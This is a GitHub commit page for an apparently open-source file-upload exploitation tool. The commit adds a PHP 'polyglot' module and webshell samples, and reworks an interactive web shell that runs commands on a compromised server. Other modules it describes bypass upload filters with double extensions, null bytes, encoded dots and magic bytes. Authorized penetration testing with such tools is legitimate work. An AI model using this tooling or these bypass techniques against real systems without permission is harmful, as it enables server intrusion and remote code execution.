Skip to content

Commit

Permalink
A new module called "Polyglot" is added (only for PHP).
Browse files Browse the repository at this point in the history
  • Loading branch information
sAjibuu committed Jul 22, 2024
1 parent 0e091a2 commit ec90bc0
Show file tree
Hide file tree
Showing 11 changed files with 116 additions and 46 deletions.
Binary file added assets/samples/polyglot_sample.php
Binary file not shown.
Binary file added assets/samples/polyglot_shell.php
Binary file not shown.
2 changes: 1 addition & 1 deletion config/version.json
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
{
"current_version": "v3.0.8#dev",
"current_version": "v3.0.9#dev",
"latest_version": "v3.0.8#dev"
}
1 change: 1 addition & 0 deletions lib/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@

# Configure modules name
active_modules = [
"polyglot",
"extension_shuffle",
"double_extension",
"discrepancy",
Expand Down
4 changes: 2 additions & 2 deletions lib/eicar_checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,14 +25,14 @@ def print_eicar_message(eicar_reflected, options, user_options, response, file_n
if not skip_module:
results(url, file_name, content_type, upload_location, is_magic_bytes, options.output_dir,
allowed_extension,
current_time)
current_time, options.current_module)

exit(1)

else:

results(url, file_name, content_type, upload_location, is_magic_bytes, options.output_dir, allowed_extension,
current_time)
current_time, options.current_module)

if eicar_reflected:
warning("The uploaded Eicar (Anti-Malware test file) was found on the system!")
Expand Down
13 changes: 9 additions & 4 deletions lib/file_parser.py
Original file line number Diff line number Diff line change
Expand Up @@ -184,7 +184,7 @@ def parse_headers(options, request):


def parse_request_file(request_file, options, file_name, original_extension, mimetype, magic_bytes=None,
file_data=None):
file_data=None, module=None):
try:
try:
request = "" # Initialize an empty string to store the decoded request
Expand Down Expand Up @@ -213,16 +213,21 @@ def parse_request_file(request_file, options, file_name, original_extension, mim
# Check for a detection mode
if options.detect:
try:
if not file_data:
if module == 'polyglot':
with open(f"assets/samples/polyglot_sample.php", 'rb') as file:
file_data = file.read()
elif not file_data:
with open(f"assets/samples/sample.{original_extension}", 'rb') as file:
file_data = file.read()
except FileNotFoundError:
error(f"File not found: assets/samples/sample.{original_extension}")

# Check for exploitation mode
elif options.exploitation:

if not file_data:
if module == 'polyglot':
with open(f"assets/samples/polyglot_shell.php", 'rb') as file:
file_data = file.read()
elif not file_data:
file_data_b64 = config.webshells[original_extension]
file_data = base64.b64decode(file_data_b64)

Expand Down
24 changes: 12 additions & 12 deletions lib/file_upload.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,50 +50,49 @@ def send_request(current_extension, request_file, file_name, extension_to_test,
magic_bytes = False
mimetype = config.mimetypes["com"]

headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)

# Send request with allowed extension mimetype
mimetype = config.mimetypes[allowed_extension]
magic_bytes = False
headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)

else:
current_extension = current_extension.replace(".", "").lower()
# Send request with given parameters
magic_bytes = False
mimetype = config.mimetypes[current_extension]

headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)

# Send request with magic bytes of the allowed extension
magic_bytes = config.magic_bytes[allowed_extension]
mimetype = config.mimetypes[current_extension]
headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)

# Send request with the allowed extension mimetype
mimetype = config.mimetypes[allowed_extension]
magic_bytes = False
headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)


# Send request with the allowed extension mimetype and magic_bytes
mimetype = config.mimetypes[allowed_extension]
magic_bytes = config.magic_bytes[allowed_extension]
headers, upload_status, _, _, _, _, _ = file_upload(request_file, file_name, extension_to_test, options,
file_upload(request_file, file_name, extension_to_test, options,
magic_bytes, allowed_extension, mimetype, module,
overall_progress, None, None, current_extension_tested, filename_without_nullbyte)

return headers, upload_status


# Function for version comparison
def version_comparison(latest_version, current_version):
Expand Down Expand Up @@ -214,7 +213,7 @@ def file_upload(request_file, file_name, original_extension, options, magic_byte
# Parse request file
response, headers, url, content_type = file_parser.parse_request_file(request_file, options, file_name,
original_extension, mimetype,
magic_bytes, file_data)
magic_bytes, file_data, module)
user_options = ""

rate_limit_seconds = options.rateLimit / 1000
Expand Down Expand Up @@ -352,8 +351,9 @@ def file_upload(request_file, file_name, original_extension, options, magic_byte
file_name = new_name + "." + split_extensions

response, headers, url, content_type = file_parser.parse_request_file(request_file, options, file_name,
original_extension, mimetype,
magic_bytes, file_data)
original_extension, mimetype,
magic_bytes, file_data, module)

_, _ = interactive_shell.response_check(options, headers, file_name, content_type, location_url,
magic_bytes, allowed_extension, current_time, response,
user_options, skip_module, module, filename_without_nullbyte)
Expand Down
36 changes: 26 additions & 10 deletions lib/interactive_shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
from . import file_upload
from . import config
import base64

import re

def web_shell(options, headers, file_name, parameter_exists, operating_system):
# Loop to run user commands on the target machine
Expand Down Expand Up @@ -67,11 +67,19 @@ def web_shell(options, headers, file_name, parameter_exists, operating_system):

response, final_url = file_upload.send_get_request(headers, options, final_url)

# Remove the hexadecimal values that typically represents the start of a PNG file
response_text = response.text
if "BEGIN:" in response.text:
# Define the pattern for extracting text between "BEGIN:" and ":END"
pattern = re.compile(r'BEGIN:(.*?)\:END', re.DOTALL)
match = pattern.search(response.text)

if match:
response_text = match.group(1).strip() # strip() removes any extra whitespace

print("")
print(response_text.rstrip())
if "BEGIN:" in response.text:
print(response_text)
else:
print(response.text.rstrip())

if 'clear' in user_command.lower():
print("\033c", end="")
Expand Down Expand Up @@ -137,7 +145,7 @@ def interactive_shell(options, headers, file_name, content_type, upload_dir, is_
alerts.warning("Interactive shell is activated, you can enter Linux system commands: ")
results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
options.output_dir, allowed_extension,
current_time)
current_time, module)
operating_system = "Linux"
web_shell(options, headers, file_name, parameter_exists, operating_system)

Expand All @@ -157,7 +165,7 @@ def interactive_shell(options, headers, file_name, content_type, upload_dir, is_
alerts.warning("Interactive shell is activated, you can enter Windows system commands: ")
results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
options.output_dir, allowed_extension,
current_time)
current_time, module)
operating_system = "Windows"
web_shell(options, headers, file_name, parameter_exists, operating_system)

Expand All @@ -183,8 +191,16 @@ def interactive_shell(options, headers, file_name, content_type, upload_dir, is_
response, final_url = file_upload.send_get_request(headers, options, final_url)
file_data = open(f"assets/samples/sample.{options.file_extension}", 'r', encoding="latin-1")
file_data = file_data.read()
response_text = response.text
if "BEGIN:" in response_text and file_data not in response_text:
# Define the pattern for extracting text between "BEGIN:" and ":END"
pattern = re.compile(r'BEGIN:(.*?)\:END', re.DOTALL)
match = pattern.search(response_text)

if match:
response_text = match.group(1).strip() # strip() removes any extra whitespace

if "Is this message being rendered?" in response.text and file_data not in response.text:
if "Is this message being rendered?" in response_text and file_data not in response_text:
success(
f"The sample file was executed and rendered successfully as {config.mimetypes[options.file_extension]}, congrats!")
while True:
Expand All @@ -208,7 +224,7 @@ def interactive_shell(options, headers, file_name, content_type, upload_dir, is_
if not skip_module:
results(options.url, file_name_to_save_in_file, content_type, upload_dir,
is_magic_bytes, options.output_dir, allowed_extension,
current_time)
current_time, module)
exit(1)
else:
return exploit_machine
Expand All @@ -231,12 +247,12 @@ def interactive_shell(options, headers, file_name, content_type, upload_dir, is_
if not skip_module:
results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
options.output_dir, allowed_extension,
current_time)
current_time, module)
exit(1)
else:
results(options.url, file_name_to_save_in_file, content_type, upload_dir, is_magic_bytes,
options.output_dir, allowed_extension,
current_time)
current_time, module)
alerts.success(f"File uploaded successfully with: {file_name}")
return exploit_machine

Expand Down
6 changes: 4 additions & 2 deletions lib/list_modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,15 +19,17 @@ def list_all_modules():
print("_" * terminal_width)
print(f"\033[1m\ndouble_extension\033[0m:\n\nDoubling the back-end extensions (ex: filename.php.php).")
print("_" * terminal_width)
print(f"\033[1m\npolyglot\033[0m:\n\nUploading a JPEG file that contains a PHP code, it useful when a server might try to verify certain intrinsic properties of an image, such as its dimensions.")
print("_" * terminal_width)
print(f"\033[1m\ndiscrepancy\033[0m:\n\nURL encoding (or double URL encoding) for dots. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can allow to upload malicious files that would otherwise be blocked. Ex: exploit%2Ephp (Front-end) = exploit.php (Back-end)")
print("_" * terminal_width)
print(f"\033[1m\nforward_double_extension\033[0m:\n\nAllowed extension concatenated with the back-end extension (ex: filename.jpeg.php).")
print("_" * terminal_width)
print(f"\033[1m\nreverse_double_extension\033[0m:\n\nBack-end extension concatenated with the allowed extension (ex: filename.php.jpeg).\n{red}\033[1mWarning\033[0m{reset} - It will probably generate false-positive results! (Suitable for CTFs) - You can turn off the module by uncommenting it in the config.py file located in the lib directory.")
print(f"\033[1m\nreverse_double_extension\033[0m:\n\nBack-end extension concatenated with the allowed extension (ex: filename.php.jpeg).\n{red}\033[1mWarning\033[0m{reset} - It will probably generate false-positive results! (Suitable for CTFs) - You can turn off the module by commenting it in the config.py file located in the lib directory.")
print("_" * terminal_width)
print(f"\033[1m\nstripping_extension\033[0m:\n\nSevers might strip forbidden extensions, for example .php will be stripped from the filename. Therefore, the program will try to upload filename.p.phphp which results in filename.php")
print("_" * terminal_width)
print(f"\033[1m\nnull_byte_cutoff\033[0m:\n\nAdding null bytes which ultimately should cut the rest of the extension (ex: filename.php%00.jpeg the result will be filename.php).\n{red}\033[1mWarning\033[0m{reset} - It will generate false-positive results if the system ignores null bytes! - You can turn off the module by uncommenting it in the config.py file located in the lib directory.")
print(f"\033[1m\nnull_byte_cutoff\033[0m:\n\nAdding null bytes which ultimately should cut the rest of the extension (ex: filename.php%00.jpeg the result will be filename.php).\n{red}\033[1mWarning\033[0m{reset} - It will generate false-positive results if the system ignores null bytes! - You can turn off the module by commenting it in the config.py file located in the lib directory.")
print("_" * terminal_width)
print(f"\033[1m\nname_overflow_cutoff\033[0m:\n\nOverflowing the exceeding limit to cut the allowed extension (ex: Linux limit is 255 chars, A*251.php.jpeg = A*251.php - total 255 chars).")
print("_" * terminal_width)
Expand Down
Loading

0 comments on commit ec90bc0

Please sign in to comment.